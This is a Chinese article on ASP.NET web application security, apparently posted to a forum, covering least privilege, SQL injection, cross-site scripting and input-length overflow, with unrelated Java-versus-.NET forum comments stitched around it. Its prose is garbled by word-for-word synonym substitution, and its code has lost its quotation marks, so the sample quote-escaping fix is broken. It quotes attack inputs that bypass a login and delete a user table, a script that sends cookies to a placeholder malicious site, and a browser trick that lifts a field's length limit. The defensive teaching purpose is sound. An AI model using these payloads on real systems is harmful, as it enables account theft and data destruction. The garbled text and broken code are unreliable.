ASP.NET网站制作之衡量平安和功能 编写平安的Web2.0使用
我认为,可以通过更加简单的首次编译,而增加第二次编译的负担,来提高java的运行效率。只是将java源代码进行简单的等价转换,而不假设编译成某种虚拟机器的目标格式,而由本地编译器针对性的二次编译。web|web2|平安 开辟职员必需衡量好平安和功效之间的干系,这要看某种打击未遂的大概性有多年夜、这个体系有多主要。开辟职员能够使用诸多基础准绳来加强Web使用程序的平安性。次要有以下三条准绳:
只管减小权限
对会见资本的账户举行设置时,一直要把这些账户的权限限定在必要的最小权限。
万万不要信任用户的输出,考证任何输出的内容
这对Web使用程序来讲尤其主要。确保使用程序其实不依附客户真个考证。在服务器上应该反复一切的反省事情,由于如果没有束缚前提,对照简单构建网页正本,有大概招致损坏性代码在运转,大概招致引发体系溃散的回绝服务(DoS)打击。
有克制地利用毛病动静
固然在开辟程序时,具体的毛病动静很有匡助,但它们对歹意用户来讲一样是可贵的信息来历。以是指定函数名这类细节没有太年夜的意义。如许的细节纪录在另外一个日记中对照好。
上面几个示例先容了没有经由考证的用户输出怎样被好人使用的详细情形,而且先容了制止这些成绩的倡议。
SQL注进
假如同意恣意的SQL命令实行,就会呈现SQL注进(SQLinjection)。当SQL语句在代码内里静态构建时,一般会呈现这类情形。
以上面用C#编写的代码为例,该代码试图反省用户名/暗码组合是不是准确:
stringusername=txtUsername.Text;
stringpassword=txtPassword.Text;
stringSQL="SELECT*FROMtblUsers
WHEREusername="+username+"
ANDpassword="+password+";";
//实行SQL
用户名和暗码从服务器真个两个文本框猎取,而且SQL语句被创立,然后该语句实行。假如没有纪录前往,那末标明用户输出的具体材料不准确,大概没有经由注册;不然用户能够进进到下一个阶段。
假如用户在两个文本框内里输出了Joe和mypassword,那末SQL语句会是:
SELECT*FROMtblUsers
WHEREusername=Joe
ANDpassword=mypassword;
这恰是开辟职员的企图。不外如果用户往暗码文本框内里输出:ORa=a,SQL就会是:
SELECT*FROMtblUsers
WHEREusername=Joe
ANDpassword=
ORa=a;
如今,暗码不主要了,由于a=a老是准确的。假如用来毗连到数据库的账户有权删除数据而不是仅唯一权读取数据,就会呈现更糟的情况。假定用户往暗码文本框内里输出:;DELETEFROMtblUsersWHEREa=a。这会得出以下的语句:
SELECT*FROMtblUsers
WHEREusername=Joe
ANDpassword=;
DELETEFROMtblUsers
WHEREa=a;
如今,全部用户表就会被清空。
避免这类成绩次要有两种举措。一是,可使用存储历程(storedprocedure)来实行用户考证步骤。设置参数值时,制止利用单引号等特别标记,因此不成能为WHERE语句增加分外的断言(predicate),也不会运转多个SQL语句。比如说,能够构建像上面如许的存储历程,承受两个输出参数后,前往标明用户是否是正当用户的第三个参数:
CREATEPROCEDUREspCheckUser
(
@UsernameVARCHAR(20),
@PasswordVARCHAR(20),
@IsValidBITOUTPUT
)
AS
DECLARE@UserCountINT
SELECT@UserCount=COUNT(*)
FROMtblUsers
WHEREUsername=@Username
ANDPassword=@Password
IF@UserCount=1
SET@IsValid=1
ELSE
SET@IsValid=0
如今,初始代码经修改后可使用存储历程:
SqlCommandsqlCommand=
newSqlCommand("spCheckUser");
SqlParametersqlParam=
newSqlParameter("@Username",
SqlDbType.VarChar,20)
sqlParam.Value=txtUsername.Text;
sqlParam.Direction=
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam=
newSqlParameter("@Password",
SqlDbType.VarChar,20)
sqlParam.Value=txtPassword.Text;
sqlParam.Direction=
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam=
newSqlParameter("@IsValid",
SqlDbType.Bit,1)
sqlParam.Direction=
ParameterDirection.Output;
sqlCommand.Parameters.Add(sqlParam);
//实行命令,并检索输入参数值
输出和输入参数利用相干范例来讲明。现在区分在于,基础的ADO.NET类会把字符串ORa=a当做实践用户的暗码来处置,而不是当做可实行SQL来处置。
制止这类平安毛病的第二种举措(也合用于一切的用户输出)就是,确保特别字符大概字符串被禁用。对SQL而言,招致成绩的谁人字符就是单引号,以是假如没法利用存储历程,那末就把一切单引号酿成双引号,这能够避免有人构建分外的SQL:
stringusername=txtUsername.Text;
stringpassword=txtPassword.Text;
username=username.Replace("","");
password=password.Replace("","");
stringSQL="SELECT*
FROMtblUsers
WHEREusername="+username+"
ANDpassword="+password+";";
//实行SQL
如今,构建的SQL成为:
SELECT*
FROMtblUsers
WHEREusername=Joe
ANDpassword=
ORa=a;
这意味着该用户没有被辨认。
跨站剧本
跨站剧本(偶然缩写成XSS)同意来自一个中央的代码在另外一个网站内里运转。正如在年夜多半情形下一样,只需考证用户输出的内容就能够制止这成绩。以承受HTML格局的帖子的通告牌为例。假定用户在公布动静中到场了以下内容:
Helloeveryone
如果不合错误剧本块举行任何考证及删除,这条动静就会呈现,尺度的告诫信息也会显现。假定这个示例没有歹意,再思索下一个示例:
varI=newImage();
i.src=
"http://www.maliciousSite.com/save.asp"
+escape(document.cookie);
如今,该用户的cookie会被传送到歹意网站,然跋文录在收集日记内里。这不是本来必要的操纵,大概会保守公家信息,大概让不怀美意的人以正当用户的身份登录到通告牌。能够经由过程接纳正则表达式来搜刮及扫除像<script>及其内容这些元素的举措来避免这个成绩。
数据溢出
数据过量大概会带来成绩,这有两个缘故原由。一是,由于使用程序常常会溃散,比如说,假如程序试图把50个字符写进到列巨细只要40个字符的数据库表,就会引发程序溃散。明显,优秀的毛病捕捉办法应该能够避免这一成绩,但假如用户输出的是无效内容,并且来自可托用户,那末这个成绩常常不会产生。数据过量轻则带来低劣的用户体验,重则招致严峻损耗服务器资本,如果成绩一再产生,还会招致全部服务没法利用。假如输出内容专门旨在招致毛病、呆板过载,这就叫回绝服务(DoS)打击。
第二个成绩是缓冲器溢出。偶然候,输出的数据会溢出旨在寄存它的内存区,而成为可实行代码的一部分。只需对输出到输出框中的数据举行经心计划,打击者就能够在服务器上实行恣意代码。
为了不该成绩,不要依托客户端手艺,比如设置文本框的最年夜长度属性。这很简单被跳过。有些扫瞄器(包含IE在内)同意javascriptURL。假如网页的文本框有一个标为txtSurname的id,那末以下代码拷贝到扫瞄器的地点栏上后,就会改动最年夜长度属性:
javascript:document.getElementById
("txtSurname").maxLength=1000
避免这个成绩的办法仍旧是在服务器长进行反省,看看输出内容是不是凌驾所需长度;需要的话缩减输出内容。(作者单元系河南省镇平县教员学习黉舍)
我有个同学,他是搞Java的,他给我说“Java不是效率低,而是速度慢。”,我不是搞Java的,我实在想不透这句话的含义,难道执行速度不就是效率低吗?难道执行速度慢还成效率高了? 使用普通的文本编辑器编写,如记事本就可以完成。由脚本在服务器上而不是客户端运行,ASP所使用的脚本语言都在服务端上运行,用户端的浏览器不需要提供任何别的支持,这样大提高了用户与服务器之间的交互的速度。 业务逻辑代码都不必做任何改动;继承性和多态性使得代码的可重用性大大提高,你可以通过继承已有的对象最大限度保护你以前的投资。并且C#和C++、Java一样提供了完善的调试/纠错体系。 我的意思是.net好用,从功能上来说比JAVA强还是很明显的。 Asp.net脚本的出现,为ASP空间带来了更高的稳定性,同时也为程序员建站提供更高环境! 在一个项目中谁敢保证每天几千万甚至几亿条的数据不丢失?谁敢保证应用的高可靠性?有可以借签的项目吗? 碰到复杂点的问题都不知道能不能解决,现在有点实力的公司都选择自已在开源的基础上做开发。但没听说过有人在IIS上做改进的,windows、sqlserver集群方面的应用也很少见。 大哥拜托,Java在95年就出来了,微软垄断个妹啊,服务器市场微软完全是后后来者,当年都是Unix的市场,现在被WindowsServer和Linux抢下大片,包括数据库也一样。 众所周知,Windows以易用而出名,也因此占据不少的服务器市场。
页:
[1]